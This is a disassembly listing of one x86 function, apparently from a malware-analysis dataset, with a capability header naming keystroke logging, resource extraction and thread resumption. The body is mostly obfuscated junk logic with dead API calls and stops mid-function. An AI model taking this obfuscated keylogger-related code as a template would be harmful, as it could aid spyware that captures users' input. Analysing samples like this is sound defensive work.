Function at 0x1004cc88
Capabilities:
Extract resource via kernel32 functions
Log keystrokes via polling
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100720ff
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6e4
push esi
push edi
mov dword [ebp - 0x100], 0x17571177
mov dword [ebp - 0x70], 0xe2c0d37a
mov dword [ebp - 0x3ac], 0xffffffff
mov dword [ebp - 0x100], 0
jmp 0x1004ccdc
mov eax, dword [ebp - 0x100]
dec eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0xfffffffe
jne 0x1004cd41
mov dword [ebp - 0x434], 0x6efba1a4
mov dword [ebp - 0x70], 0x3245f1db
mov dword [ebp - 0x70], 0xffffffed
jmp 0x1004cd06
mov eax, dword [ebp - 0x70]
dec eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0xffffffe3
je 0x1004cd3f
cmp dword [ebp - 0x434], 0
je 0x1004cd2a
mov eax, 0x3a88
test eax, eax
je 0x1004cd2a
mov dword [ebp - 0x39c], 1
jmp 0x1004cd31
and dword [ebp - 0x39c], 0
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x3ac], eax
jmp 0x1004ccff
jmp 0x1004cccf
mov dword [ebp - 0xd4], 0x17571177
mov dword [ebp - 0x7c], 0xe2c0d37a
mov dword [ebp - 0x468], 0xffffffff
mov dword [ebp - 0xd4], 0
jmp 0x1004cd75
mov eax, dword [ebp - 0xd4]
dec eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0xfffffffe
jne 0x1004cdda
mov dword [ebp - 0x43c], 0x6efba1a4
mov dword [ebp - 0x7c], 0x3245f1db
mov dword [ebp - 0x7c], 0xffffffed
jmp 0x1004cd9f
mov eax, dword [ebp - 0x7c]
dec eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0xffffffe3
je 0x1004cdd8
cmp dword [ebp - 0x43c], 0
je 0x1004cdc3
mov eax, 0x3a88
test eax, eax
je 0x1004cdc3
mov dword [ebp - 0x3a4], 1
jmp 0x1004cdca
and dword [ebp - 0x3a4], 0
mov eax, dword [ebp - 0x3a4]
mov dword [ebp - 0x468], eax
jmp 0x1004cd98
jmp 0x1004cd68
mov dword [ebp - 0x394], 0xc8a6b950
mov dword [ebp - 0x2c], 0xef9d7865
mov dword [ebp - 0x464], 0xffffffff
mov dword [ebp - 0x590], 1
mov dword [ebp - 0x598], 0xfffffff9
push 2
lea ecx, [ebp - 0x5d8]
call fcn.10011f61
and dword [ebp - 4], 0
mov dword [ebp - 0x5a0], 0x5eec80f2
mov dword [ebp - 0x5a8], 0x7911b9c6
mov dword [ebp - 0x320], 0xe19f8c51
mov dword [ebp - 0xa0], 0
jmp 0x1004ce51
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 2
jge 0x1004ce73
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x5d8]
call fcn.10011fc8
mov dword [eax], 0x81f3403c
jmp 0x1004ce44
cmp dword [ebp - 0x2c], 0
je 0x1004ce7f
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x1004ce97
cmp dword [ebp - 0x464], 0
jne 0x1004ce97
and dword [ebp - 0x2e8], 0
jmp 0x1004cea1
mov dword [ebp - 0x2e8], 1
mov eax, dword [ebp - 0x2e8]
neg eax
je 0x1004ceb1
cmp dword [ebp - 0x2c], 0
jne 0x1004cec0
cmp dword [ebp - 0x2c], 0
jne 0x1004cec0
and dword [ebp - 0x184], 0
jmp 0x1004ceca
mov dword [ebp - 0x184], 1
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x184]
je 0x1004cee1
mov dword [ebp - 0x298], 1
jmp 0x1004cee8
and dword [ebp - 0x298], 0
mov dword [ebp - 0x394], 1
mov eax, dword [ebp - 0x394]
cmp eax, dword [ebp - 0x298]
jl 0x1004cf0c
mov dword [ebp - 0x18c], 1
jmp 0x1004cf13
and dword [ebp - 0x18c], 0
mov eax, dword [ebp - 0x18c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x320]
dec eax
mov dword [ebp - 0x320], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5d8]
call fcn.10011fc3
mov dword [ebp - 0x19c], 0xc8a6b950
mov dword [ebp - 0x30], 0xef9d7865
mov dword [ebp - 0x42c], 0xffffffff
mov dword [ebp - 0x5b0], 1
mov dword [ebp - 0x5b8], 0xfffffff9
push 2
lea ecx, [ebp - 0x5e8]
call fcn.10011f61
mov dword [ebp - 4], 1
mov dword [ebp - 0x5c0], 0x5eec80f2
mov dword [ebp - 0x5c8], 0x7911b9c6
mov dword [ebp - 0x2a8], 0xe19f8c51
mov dword [ebp - 0xec], 0
jmp 0x1004cfb2
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 2
jge 0x1004cfd4
push dword [ebp - 0xec]
lea ecx, [ebp - 0x5e8]
call fcn.10011fc8
mov dword [eax], 0x81f3403c
jmp 0x1004cfa5
cmp dword [ebp - 0x30], 0
je 0x1004cfe0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jne 0x1004cff8
cmp dword [ebp - 0x42c], 0
jne 0x1004cff8
and dword [ebp - 0x194], 0
jmp 0x1004d002
mov dword [ebp - 0x194], 1
mov eax, dword [ebp - 0x194]
neg eax
je 0x1004d012
cmp dword [ebp - 0x30], 0
jne 0x1004d021
cmp dword [ebp - 0x30], 0
jne 0x1004d021
and dword [ebp - 0x2a0], 0
jmp 0x1004d02b
mov dword [ebp - 0x2a0], 1
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x2a0]
je 0x1004d042
mov dword [ebp - 0x3a0], 1
jmp 0x1004d049
and dword [ebp - 0x3a0], 0
mov dword [ebp - 0x19c], 1
mov eax, dword [ebp - 0x19c]
cmp eax, dword [ebp - 0x3a0]
jl 0x1004d06d
mov dword [ebp - 0x1a4], 1
jmp 0x1004d074
and dword [ebp - 0x1a4], 0
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2a8]
dec eax
mov dword [ebp - 0x2a8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5e8]
call fcn.10011fc3
mov dword [ebp - 0x24], 0xbd2ab60e
push 1
lea ecx, [ebp - 0x16c]
call fcn.10011f61
mov dword [ebp - 4], 2
mov dword [ebp - 0x3b8], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x610], 7
mov dword [ebp - 0x84], 0
jmp 0x1004d0e8
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 1
jge 0x1004d10a
push dword [ebp - 0x84]
lea ecx, [ebp - 0x16c]
call fcn.10011fc8
mov dword [eax], 0x184e5a94
jmp 0x1004d0db
cmp dword [ebp - 0x24], 0
je 0x1004d1c9
mov eax, 0xffff
test eax, eax
je 0x1004d121
cmp dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1ac], eax
push 0
lea ecx, [ebp - 0x16c]
call fcn.10011fc8
mov ecx, dword [ebp - 0x1ac]
mov dword [eax], ecx
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x1ac], eax
jle 0x1004d156
mov dword [ebp - 0x328], 1
jmp 0x1004d15d
and dword [ebp - 0x328], 0
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x328]
sub eax, dword [ebp - 0x24]
neg eax
cmp dword [ebp - 0x24], eax
jle 0x1004d17c
mov dword [ebp - 0x1b4], 1
jmp 0x1004d183
and dword [ebp - 0x1b4], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x1b4], eax
jle 0x1004d19a
mov dword [ebp - 0x2b0], 1
jmp 0x1004d1a1
and dword [ebp - 0x2b0], 0
cmp dword [ebp - 0x2b0], 0xb2c593c8
jbe 0x1004d1b9
mov dword [ebp - 0x1bc], 1
jmp 0x1004d1c0
and dword [ebp - 0x1bc], 0
mov eax, dword [ebp - 0x1bc]
sub eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x604], eax
push 0xfffffffffffffffa
pop eax
neg eax
jne 0x1004d1e6
push 0
lea ecx, [ebp - 0x16c]
call fcn.10011fc8
push 0
lea ecx, [ebp - 0x16c]
call fcn.10011fc8
push 0
lea ecx, [ebp - 0x16c]
call fcn.10011fc8
cmp dword [eax], 0
jne 0x1004d214
cmp dword [ebp - 0x24], 0
jne 0x1004d214
and dword [ebp - 0x368], 0
jmp 0x1004d21e
mov dword [ebp - 0x368], 1
mov eax, dword [ebp - 0x3b8]
cmp dword [ebp - 0x368], eax
jl 0x1004d238
mov dword [ebp - 0x1c4], 1
jmp 0x1004d23f
and dword [ebp - 0x1c4], 0
imul eax, dword [ebp - 0x1c4], 0xa9a9
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x5c], 0
jmp 0x1004d25c
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x16
jle 0x1004d42b
mov dword [ebp - 0x418], 0x4707
mov dword [ebp - 0x104], 0x28e48792
mov dword [ebp - 0xbc], 0xd5d57d38
mov dword [ebp - 0x5c4], 5
mov dword [ebp - 0x15c], 0x74462d17
mov dword [ebp - 0xdc], 0
jmp 0x1004d2b1
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 3
jge 0x1004d2cd
mov eax, dword [ebp - 0xdc]
mov dword [ebp + eax*4 - 0x61c], 0x9f81a770
jmp 0x1004d2a4
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x104], eax
cmp dword [ebp - 0x104], 0x69a0
je 0x1004d2f1
mov dword [ebp - 0x1d4], 1
jmp 0x1004d2f8
and dword [ebp - 0x1d4], 0
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
mov eax, 0x58e56a96
sub eax, dword [ebp - 0xbc]
cmp eax, dword [ebp - 0x15c]
jg 0x1004d331
mov dword [ebp - 0x2b8], 1
jmp 0x1004d338
and dword [ebp - 0x2b8], 0
mov eax, dword [ebp - 0x5c]
cmp eax, dword [ebp - 0x2b8]
jl 0x1004d34f
mov dword [ebp - 0x330], 1
jmp 0x1004d356
and dword [ebp - 0x330], 0
cmp dword [ebp - 0x104], 0xcb933df
jne 0x1004d36e
mov dword [ebp - 0x1cc], 1
jmp 0x1004d375
and dword [ebp - 0x1cc], 0
mov eax, dword [ebp - 0x1cc]
neg eax
add eax, dword [ebp - 0x330]
add eax, dword [ebp - 0x24]
jne 0x1004d394
mov dword [ebp - 0x2c0], 1
jmp 0x1004d39b
and dword [ebp - 0x2c0], 0
mov eax, dword [ebp - 0x1d4]
sub eax, dword [ebp - 0x2c0]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x61c], eax
cmp dword [ebp - 0xbc], 0
je 0x1004d3ce
or eax, 0xffffffff
je 0x1004d3ce
mov dword [ebp - 0x1dc], 1
jmp 0x1004d3d5
and dword [ebp - 0x1dc], 0
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x1dc], eax
jle 0x1004d3ec
mov dword [ebp - 0x388], 1
jmp 0x1004d3f3
and dword [ebp - 0x388], 0
push 0
lea ecx, [ebp - 0x16c]
call fcn.10011fc8
mov esi, dword [ebp - 0x388]
add esi, dword [eax]
push 0
lea ecx, [ebp - 0x16c]
call fcn.10011fc8
add esi, dword [eax]
push 0
lea ecx, [ebp - 0x16c]
call fcn.10011fc8
mov dword [eax], esi
jmp 0x1004d255
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x16c]
call fcn.10011fc3
push 3
lea ecx, [ebp - 0x4ac]
call fcn.10011f61
mov dword [ebp - 4], 3
mov dword [ebp - 0x1f4], 0xffffffff
mov dword [ebp - 0x4b8], 0xe56890c5
mov dword [ebp - 0x5bc], 0xfffffff6
mov dword [ebp - 0x3c0], 0xfffffffd
mov dword [ebp - 0x338], 0xab227d37
mov dword [ebp - 0x4c0], 0x73a4c924
mov dword [ebp - 0x420], 0xfffffff7
mov dword [ebp - 0x568], 1
mov dword [ebp - 0x4c8], 0
mov dword [ebp - 0x60c], 0
mov dword [ebp - 0x4d0], 0xffffffff
mov dword [ebp - 0x574], 8
mov dword [ebp - 0x4d8], 0x11e2db80
mov dword [ebp - 0x584], 0xfffffffc
mov dword [ebp - 0x4e0], 0
mov dword [ebp - 0x580], 0x37c57f39
mov dword [ebp - 0x4e8], 0x809b4af7
mov dword [ebp - 0x588], 9
mov dword [ebp - 0x4f0], 5
mov dword [ebp - 0x4b0], 2
mov dword [ebp - 0x4f8], 9
mov dword [ebp - 0x10c], 4
mov dword [ebp - 0x450], 0x8e51
mov dword [ebp - 0x3c8], 0xf7a0d7c8
mov dword [ebp - 0x18], 0
jmp 0x1004d54e
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 3
jge 0x1004d56a
push dword [ebp - 0x18]
lea ecx, [ebp - 0x4ac]
call fcn.10011fc8
mov dword [eax], 0x108f
jmp 0x1004d547
mov dword [ebp - 0x18], 0
jmp 0x1004d57a
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 2
jge 0x1004d590
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x558], 0xfffffffb
jmp 0x1004d573
mov dword [ebp - 0x18], 0
jmp 0x1004d5a0
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 1
jge 0x1004d5b6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1fc], 0xfffffff9
jmp 0x1004d599
mov eax, dword [ebp - 0x3c0]
mov dword [ebp - 0x58c], eax
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x500], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1fc]
mov dword [ebp - 0x5fc], eax
mov eax, dword [ebp - 0x10c]
dec eax
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x450], 0
jne 0x1004d605
xor eax, eax
inc eax
jne 0x1004d605
and dword [ebp - 0x1e4], 0
jmp 0x1004d60f
mov dword [ebp - 0x1e4], 1
mov eax, dword [ebp - 0x3c8]
cmp dword [ebp - 0x1e4], eax
je 0x1004d629
mov dword [ebp - 0x2c8], 1
jmp 0x1004d630
and dword [ebp - 0x2c8], 0
mov eax, dword [ebp - 0x1f4]
cmp eax, dword [ebp - 0x2c8]
jl 0x1004d64a
mov dword [ebp - 0x1ec], 1
jmp 0x1004d651
and dword [ebp - 0x1ec], 0
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x558], 0xb4b1
mov eax, dword [ebp - 0x1ec]
add eax, 0xb4b1
mov dword [ebp - 0x338], eax
mov esi, dword [ebp - 0x338]
sub esi, dword [ebp - 0x420]
add esi, 0xa4a1
mov edi, dword [ebp - 0x1f4]
push 1
lea ecx, [ebp - 0x4ac]
call fcn.10011fc8
mov eax, dword [eax]
sub eax, edi
cmp eax, esi
jg 0x1004d6ac
mov dword [ebp - 0x2d0], 1
jmp 0x1004d6b3
and dword [ebp - 0x2d0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x2d0]
mov dword [ebp + eax - 0x1fc], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4ac]
call fcn.10011fc3
mov dword [ebp - 0x20], 0xbd2ab60e
push 1
lea ecx, [ebp - 0x178]
call fcn.10011f61
mov dword [ebp - 4], 4
mov dword [ebp - 0x3d0], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x508], 7
mov dword [ebp - 0xfc], 0
jmp 0x1004d724
mov eax, dword [ebp - 0xfc]
inc eax
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 1
jge 0x1004d746
push dword [ebp - 0xfc]
lea ecx, [ebp - 0x178]
call fcn.10011fc8
mov dword [eax], 0x184e5a94
jmp 0x1004d717
cmp dword [ebp - 0x20], 0
je 0x1004d805
mov eax, 0xffff
test eax, eax
je 0x1004d75d
cmp dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x370], eax
push 0
lea ecx, [ebp - 0x178]
call fcn.10011fc8
mov ecx, dword [ebp - 0x370]
mov dword [eax], ecx
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x370], eax
jle 0x1004d792
mov dword [ebp - 0x204], 1
jmp 0x1004d799
and dword [ebp - 0x204], 0
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x204]
sub eax, dword [ebp - 0x20]
neg eax
cmp dword [ebp - 0x20], eax
jle 0x1004d7b8
mov dword [ebp - 0x2d8], 1
jmp 0x1004d7bf
and dword [ebp - 0x2d8], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x2d8], eax
jle 0x1004d7d6
mov dword [ebp - 0x20c], 1
jmp 0x1004d7dd
and dword [ebp - 0x20c], 0
cmp dword [ebp - 0x20c], 0xb2c593c8
jbe 0x1004d7f5
mov dword [ebp - 0x340], 1
jmp 0x1004d7fc
and dword [ebp - 0x340], 0
mov eax, dword [ebp - 0x340]
sub eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x594], eax
push 0xfffffffffffffffa
pop eax
neg eax
jne 0x1004d822
push 0
lea ecx, [ebp - 0x178]
call fcn.10011fc8
push 0
lea ecx, [ebp - 0x178]
call fcn.10011fc8
push 0
lea ecx, [ebp - 0x178]
call fcn.10011fc8
cmp dword [eax], 0
jne 0x1004d850
cmp dword [ebp - 0x20], 0
jne 0x1004d850
and dword [ebp - 0x214], 0
jmp 0x1004d85a
mov dword [ebp - 0x214], 1
mov eax, dword [ebp - 0x3d0]
cmp dword [ebp - 0x214], eax
jl 0x1004d874
mov dword [ebp - 0x2e0], 1
jmp 0x1004d87b
and dword [ebp - 0x2e0], 0
imul eax, dword [ebp - 0x2e0], 0xa9a9
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x68], 0
jmp 0x1004d898
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0x16
jle 0x1004da67
mov dword [ebp - 0x458], 0x4707
mov dword [ebp - 0x114], 0x28e48792
mov dword [ebp - 0xe4], 0xd5d57d38
mov dword [ebp - 0x510], 5
mov dword [ebp - 0x13c], 0x74462d17
mov dword [ebp - 0xc4], 0
jmp 0x1004d8ed
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 3
jge 0x1004d909
mov eax, dword [ebp - 0xc4]
mov dword [ebp + eax*4 - 0x628], 0x9f81a770
jmp 0x1004d8e0
mov eax, dword [ebp - 0x458]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0x69a0
je 0x1004d92d
mov dword [ebp - 0x228], 1
jmp 0x1004d934
and dword [ebp - 0x228], 0
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x13c]
inc eax
mov dword [ebp - 0x13c], eax
mov eax, 0x58e56a96
sub eax, dword [ebp - 0xe4]
cmp eax, dword [ebp - 0x13c]
jg 0x1004d96d
mov dword [ebp - 0x21c], 1
jmp 0x1004d974
and dword [ebp - 0x21c], 0
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x21c]
jl 0x1004d98b
mov dword [ebp - 0x224], 1
jmp 0x1004d992
and dword [ebp - 0x224], 0
cmp dword [ebp - 0x114], 0xcb933df
jne 0x1004d9aa
mov dword [ebp - 0x398], 1
jmp 0x1004d9b1
and dword [ebp - 0x398], 0
mov eax, dword [ebp - 0x398]
neg eax
add eax, dword [ebp - 0x224]
add eax, dword [ebp - 0x20]
jne 0x1004d9d0
mov dword [ebp - 0x22c], 1
jmp 0x1004d9d7
and dword [ebp - 0x22c], 0
mov eax, dword [ebp - 0x228]
sub eax, dword [ebp - 0x22c]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x628], eax
cmp dword [ebp - 0xe4], 0
je 0x1004da0a
or eax, 0xffffffff
je 0x1004da0a
mov dword [ebp - 0x230], 1
jmp 0x1004da11
and dword [ebp - 0x230], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x230], eax
jle 0x1004da28
mov dword [ebp - 0x348], 1
jmp 0x1004da2f
and dword [ebp - 0x348], 0
push 0
lea ecx, [ebp - 0x178]
call fcn.10011fc8
mov esi, dword [ebp - 0x348]
add esi, dword [eax]
push 0
lea ecx, [ebp - 0x178]
call fcn.10011fc8
add esi, dword [eax]
push 0
lea ecx, [ebp - 0x178]
call fcn.10011fc8
mov dword [eax], esi
jmp 0x1004d891
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x178]
call fcn.10011fc3
movzx eax, byte [0x10f6afc1]
test eax, eax
je 0x1004da94
mov esi, 0x10662d90
mov edi, dword [ebp + 8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 8]
jmp 0x1004f5f6
mov dword [ebp - 0x98], 0xad72
mov dword [ebp - 0x94], 0xad72
mov dword [ebp - 0x90], 0xad72
mov dword [ebp - 0x8c], 0xad72
mov dword [ebp - 0x154], 0xe730
mov dword [ebp - 0x3c], 2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x98], 0
jne 0x1004dbe7
push 4
pop eax
imul eax, eax, 3
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x98]
cmp dword [ebp + eax - 0x98], ecx
jge 0x1004db25
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x98], 0
jne 0x1004db25
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x98], 0
jne 0x1004db25
and dword [ebp - 0x238], 0
jmp 0x1004db2f
mov dword [ebp - 0x238], 1
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x98]
cmp dword [ebp - 0x238], eax
jg 0x1004db4f
mov dword [ebp - 0x2f0], 1
jmp 0x1004db56
and dword [ebp - 0x2f0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x98]
cmp dword [ebp - 0x2f0], eax
jg 0x1004db77
mov dword [ebp - 0x240], 1
jmp 0x1004db7e
and dword [ebp - 0x240], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x98]
mov dword [ebp - 0x154], eax
imul eax, dword [ebp - 0x240], 0xf157
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x154], eax
jg 0x1004dbb5
mov dword [ebp - 0x378], 1
jmp 0x1004dbbc
and dword [ebp - 0x378], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x378]
sub ecx, dword [ebp + eax - 0x98]
push 4
pop eax
shl eax, 0
cmp ecx, dword [ebp + eax - 0x98]
je 0x1004dbe7
and dword [ebp - 0x248], 0
jmp 0x1004dbf1
mov dword [ebp - 0x248], 1
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x98]
cmp dword [ebp - 0x248], eax
jle 0x1004dc12
mov dword [ebp - 0x2f8], 1
jmp 0x1004dc19
and dword [ebp - 0x2f8], 0
mov eax, dword [ebp - 0x2f8]
sub eax, 0x55073046
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0x98]
je 0x1004dc4b
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x98], 0
jne 0x1004dc4b
and dword [ebp - 0x250], 0
jmp 0x1004dc55
mov dword [ebp - 0x250], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x98]
cmp dword [ebp - 0x250], eax
jl 0x1004dc76
mov dword [ebp - 0x350], 1
jmp 0x1004dc7d
and dword [ebp - 0x350], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x350]
sub ecx, dword [ebp + eax - 0x98]
push 4
pop eax
imul eax, eax, 0
cmp ecx, dword [ebp + eax - 0x98]
jle 0x1004dd00
mov byte [ebp - 0x4d], 0
movzx eax, byte [ebp - 0x4d]
test eax, eax
je 0x1004dcc0
push 0x3cd
push 0x2104
push 0x2438
call dword [sym.imp.USER32.dll_CheckDlgButton]
mov dword [ebp - 0x3c], 0
jmp 0x1004dcd0
mov eax, dword [ebp - 0x3c]
dec eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xfffffff5
jne 0x1004dcfe
mov byte [ebp - 0x56], 0
movzx eax, byte [ebp - 0x56]
test eax, eax
je 0x1004dcea
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov byte [ebp - 0x54], 0
movzx eax, byte [ebp - 0x54]
test eax, eax
je 0x1004dcfc
call dword [sym.imp.KERNEL32.dll_GetACP]
jmp 0x1004dcc9
jmp 0x1004dd20
mov byte [ebp - 0x31], 0
movzx eax, byte [ebp - 0x31]
test eax, eax
je 0x1004dd17
push 0xf2
call dword [sym.imp.USER32.dll_GetMenu]
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x3c], eax
push 3
lea ecx, [ebp - 0x4a0]
call fcn.10011f61
mov dword [ebp - 4], 5
mov dword [ebp - 0x268], 0xffffffff
mov dword [ebp - 0x5cc], 0xe56890c5
mov dword [ebp - 0x518], 0xfffffff6
mov dword [ebp - 0x3e0], 0xfffffffd
mov dword [ebp - 0x390], 0xab227d37
mov dword [ebp - 0x59c], 0x73a4c924
mov dword [ebp - 0x430], 0xfffffff7
mov dword [ebp - 0x520], 1
mov dword [ebp - 0x600], 0
mov dword [ebp - 0x528], 0
mov dword [ebp - 0x5a4], 0xffffffff
mov dword [ebp - 0x530], 8
mov dword [ebp - 0x5dc], 0x11e2db80
mov dword [ebp - 0x538], 0xfffffffc
mov dword [ebp - 0x5ac], 0
mov dword [ebp - 0x540], 0x37c57f39
mov dword [ebp - 0x608], 0x809b4af7
mov dword [ebp - 0x548], 9
mov dword [ebp - 0x5b4], 5
mov dword [ebp - 0x550], 2
mov dword [ebp - 0x5ec], 9
mov dword [ebp - 0x158], 4
mov dword [ebp - 0x3d8], 0x1e9c
cmp dword [ebp - 0x3d8], 0x47a
jge 0x1004dfba
mov dword [ebp - 0x11c], 1
xor eax, eax
inc eax
je 0x1004dfba
lea eax, [ebp - 0x124]
push eax
push 0x1000b1fc
call fcn.1005856b
pop ecx
pop ecx
cmp dword [ebp - 0x124], 0
jne 0x1004de5e
jmp 0x1004dfba
push dword [ebp - 0x11c]
push 0x1000b804
call fcn.10058bc8
pop ecx
pop ecx
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
and dword [ebp - 0xcc], 0
jmp 0x1004de93
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0xcc]
cmp eax, dword [ebp - 0x124]
jge 0x1004ded4
lea eax, [ebp - 0x3a8]
push eax
push 0x1000b5b4
call fcn.1005856b
pop ecx
pop ecx
xor eax, eax
inc eax
shl eax, 0
movsx eax, byte [ebp + eax - 0x3a8]
sub eax, 0x31
mov ecx, dword [ebp - 0xcc]
mov dword [ebp + ecx*4 - 0x64c], eax
jmp 0x1004de86
lea eax, [ebp - 0x6f0]
push eax
push 0x1000b5b4
call fcn.1005856b
pop ecx
pop ecx
lea eax, [ebp - 0x428]
push eax
push 0x1000b1fc
call fcn.1005856b
pop ecx
pop ecx
and dword [ebp - 0x144], 0
jmp 0x1004df10
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x144]
cmp eax, dword [ebp - 0x428]
jge 0x1004dfaa
lea eax, [ebp - 0x564]
push eax
push 0x1000b5b4
call fcn.1005856b
pop ecx
pop ecx
and dword [ebp - 0x74], 0
and dword [ebp - 0xf4], 0
jmp 0x1004df4f
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0x124]
jge 0x1004df8d
mov eax, dword [ebp - 0xf4]
mov eax, dword [ebp + eax*4 - 0x64c]
movsx eax, byte [ebp + eax - 0x564]
cmp eax, 0x30
jne 0x1004df81
mov eax, dword [ebp - 0x74]
shl eax, 1
mov dword [ebp - 0x74], eax
jmp 0x1004df8b
mov eax, dword [ebp - 0x74]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x74], eax
jmp 0x1004df42
mov eax, dword [ebp - 0x74]
movsx eax, byte [ebp + eax - 0x6f0]
push eax
push 0x1000b814
call fcn.10058bc8
pop ecx
pop ecx
jmp 0x1004df03
push 0x1000b818
call fcn.10058bc8
pop ecx
jmp 0x1004de34
mov dword [ebp - 0x460], 0x8e51
mov dword [ebp - 0x3e8], 0xf7a0d7c8
mov dword [ebp - 0x1c], 0
jmp 0x1004dfde
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1004dffa
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x4a0]
call fcn.10011fc8
mov dword [eax], 0x108f
